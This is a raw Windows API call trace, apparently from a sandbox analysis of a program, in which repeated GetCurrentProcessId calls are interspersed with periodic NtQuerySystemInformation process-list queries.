GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.090] GetCurrentProcessId () returned 0xbf4 [0194.091] GetCurrentProcessId () returned 0xbf4 [0194.201] GetCurrentProcessId () returned 0xbf4 [0194.201] GetCurrentProcessId () returned 0xbf4 [0194.201] GetCurrentProcessId () returned 0xbf4 [0194.201] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.202] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.203] GetCurrentProcessId () returned 0xbf4 [0194.204] GetCurrentProcessId () returned 0xbf4 [0194.204] GetCurrentProcessId () returned 0xbf4 [0194.204] GetCurrentProcessId () returned 0xbf4 [0194.204] GetCurrentProcessId () returned 0xbf4 [0194.204] GetCurrentProcessId () returned 0xbf4 [0194.204] GetCurrentProcessId () returned 0xbf4 [0194.204] GetCurrentProcessId () returned 0xbf4 [0194.204] GetCurrentProcessId () returned 0xbf4 [0194.204] GetCurrentProcessId () returned 0xbf4 [0194.204] GetCurrentProcessId () returned 0xbf4 [0194.204] GetCurrentProcessId () returned 0xbf4 [0194.205] GetCurrentProcessId () returned 0xbf4 [0194.205] GetCurrentProcessId () returned 0xbf4 [0194.205] GetCurrentProcessId () returned 0xbf4 [0194.205] GetCurrentProcessId () returned 0xbf4 [0194.205] GetCurrentProcessId () returned 0xbf4 [0194.205] GetCurrentProcessId () returned 0xbf4 [0194.205] GetCurrentProcessId () returned 0xbf4 [0194.850] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1d098) returned 0x0 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.857] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.858] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0194.859] GetCurrentProcessId () returned 0xbf4 [0195.481] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1d048) returned 0x0 [0195.483] GetCurrentProcessId () returned 0xbf4 [0195.483] GetCurrentProcessId () returned 0xbf4 [0195.483] GetCurrentProcessId () returned 0xbf4 [0195.483] GetCurrentProcessId () returned 0xbf4 [0195.483] GetCurrentProcessId () returned 0xbf4 [0195.483] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.484] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.485] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.486] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0195.487] GetCurrentProcessId () returned 0xbf4 [0196.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1d048) returned 0x0 [0196.081] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.082] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.083] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.084] GetCurrentProcessId () returned 0xbf4 [0196.085] GetCurrentProcessId () returned 0xbf4 [0196.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1d098) returned 0x0 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.728] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.729] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.730] GetCurrentProcessId () returned 0xbf4 [0196.731] GetCurrentProcessId () returned 0xbf4 [0196.731] GetCurrentProcessId () returned 0xbf4 [0196.731] GetCurrentProcessId () returned 0xbf4 [0196.731] GetCurrentProcessId () returned 0xbf4 [0196.731] GetCurrentProcessId () returned 0xbf4 [0196.731] GetCurrentProcessId () returned 0xbf4 [0196.731] GetCurrentProcessId () returned 0xbf4 [0197.424] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1d048) returned 0x0 [0197.440] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 0xbf4 [0197.441] GetCurrentProcessId () returned 